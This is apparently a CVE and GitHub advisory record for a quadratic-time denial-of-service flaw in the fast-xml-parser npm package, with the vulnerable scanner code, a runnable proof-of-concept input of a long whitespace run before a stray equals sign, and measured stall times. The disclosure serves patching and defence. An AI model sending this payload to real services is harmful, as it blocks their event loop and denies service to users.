{"id":"CVE-2026-141469","aliases":["CVE-2026-141469","GHSA-7cfw-w2rf-f3jc"],"related":[],"kind":"vulnerability","state":"published","title":"fast-xml-parser: quadratic-time (ReDoS-class) denial of service in XMLValidator attribute scanner, default options","summary":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.12.1, scanAttributeTokens in src/validator.js resets its cursor to one position after the token start when a leading-whitespace run ends in a stray equals sign. Each loop iteration rescans most of the remaining whitespace, producing quadratic processing time for attacker-controlled XML. The default path is reachable through XMLValidator.validate(xml) and through new XMLParser().parse(xml, true) when validation is enabled, allowing a document of a few hundred kilobytes to block the Node.js event loop for tens of seconds and deny service. This issue affects availability only. This issue is fixed in version 5.12.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.12.1, scanAttributeTokens in src/validator.js resets its cursor to one position after the token start when a leading-whitespace run ends in a stray equals sign. Each loop iteration rescans most of the remaining whitespace, producing quadratic processing time for attacker-controlled XML. The default path is reachable through XMLValidator.validate(xml) and through new XMLParser().parse(xml, true) when validation is enabled, allowing a document of a few hundred kilobytes to block the Node.js event loop for tens of seconds and deny service. This issue affects availability only. This issue is fixed in version 5.12.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nReported by Nikhil Agrawal, Mettle Labs; reproduced only against a clean local install of `fast-xml-parser@5.11.2` on their own machine. `scanAttributeTokens` in `src/validator.js` rescans a leading-whitespace run on every loop iteration when it hits a stray `=`, giving Theta(n^2) time. A few-hundred-KB input stalls the event loop for tens of seconds. Reachable on the default path via both `XMLValidator.validate(xml)` and `new XMLParser().parse(xml, true)`, no non-default options.\n\n### Details\n\n\n`src/validator.js`, `scanAttributeTokens` — on a `=` with no attribute name before it, `i` is reset to one past the **token start**, not past the `=`, so the leading-whitespace scan repeats:\n\n```js\nfunction scanAttributeTokens(attrStr) {\n  const tokens = [];\n  const len = attrStr.length;\n  let i = 0;\n  while (i < len) {\n    const tokenStart = i;\n    // Leading whitespace before the name.\n    while (i < len && isWhiteSpace(attrStr[i])) i++;\n    if (i >= len) break;\n    if (attrStr[i] === '=') {\n      // No name before this '=' — not a valid attribute start.\n      i = tokenStart + 1;      // <-- rewinds to tokenStart+1, NOT past the '=' -> re-scans the whitespace\n      continue;\n    }\n    ...\n```\n\nFor an attribute string of the shape `<whitespace run> =`, each outer iteration advances `tokenStart` by one but re-walks the entire remaining whitespace run up to the `=`, so total work is quadratic in the run length. It is reached whenever an element's attribute section is scanned, which both `XMLValidator.validate()` and `XMLParser.parse(xml, true)` (validation enabled) do on the default path. (This scanner is a recent regex -> hand-scanner rewrite; the quadratic rescan is in the rewrite.)\n\n### Proof of concept\n\n\nA few-hundred-KB document hangs the validator. Runnable against a clean `npm i fast-xml-parser@5.11.2`\n(Node >= 18):\n\n```js\n// poc-fxp-quadratic.mjs\nimport { XMLValidator, XMLParser } from \"fast-xml-parser\";\n\nfor (const n of [20000, 40000, 80000, 160000]) {\n  const xml = \"<a \" + \" \".repeat(n) + \"=>\";          // <element><whitespace run>=  -> stray '='\n  const t0 = process.hrtime.bigint();\n  XMLValidator.validate(xml);                          // path 1: validate()\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(`validate   n=${n}  ${ms.toFixed(0)} ms`);\n}\n\n// path 2: XMLParser.parse(xml, true) hits the same scanner\nconst big = \"<a \" + \" \".repeat(200000) + \"=>\";\nconst t0 = process.hrtime.bigint();\ntry { new XMLParser().parse(big, true); } catch (_) {}\nconsole.log(`parse(.,true) n=200000  ${(Number(process.hrtime.bigint() - t0) / 1e6).toFixed(0)} ms`);\n```\n\nMeasured on `fast-xml-parser@5.11.2` (unpatched): n=20k -> 461 ms, 40k -> 1755 ms, 80k -> 7108 ms, 160k -> 29847 ms (~4x per 2x length = quadratic); **200k -> ~45 s**. A ~200 KB request stalls the event loop ~45 s.\n\n### Impact\n\n\nA single few-hundred-KB document sent to any service that validates or parses (with validation) attacker-controlled XML via fast xml-parser stalls the Node event loop for tens of seconds — a remote denial of service on the most-installed XML parser for Node, on the default code path.","format":"markdown","source":"ghsa"}],"published":"2026-12-01T20:22:49.578Z","modified":"2026-12-01T23:45:03.935Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-400","CWE-1333"],"affected":[{"ranges":[{"version":"< 5.12.1","status":"affected"}],"vendor":"NaturalIntelligence","product":"fast-xml-parser","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.12.1"}],"ecosystem":"npm","package":"fast-xml-parser","purl":"pkg:npm/fast-xml-parser","source":"ghsa"}],"references":[{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-7cfw-w2rf-f3jc","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/4a1623bc23c011fd5ea0b72c21b00f3109688e6c","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.12.1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-141469","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-12-01T20:46:56.306Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-141469","url":"https://www.cve.org/CVERecord?id=CVE-2026-141469","licence":"CVE Terms of Use","modified":"2026-12-01T20:47:20.276Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7cfw-w2rf-f3jc","url":"https://github.com/advisories/GHSA-7cfw-w2rf-f3jc","licence":"CC-BY-4.0","modified":"2026-12-01T23:45:03.935Z"}],"updatedAt":"2026-12-02T00:17:24.669Z"}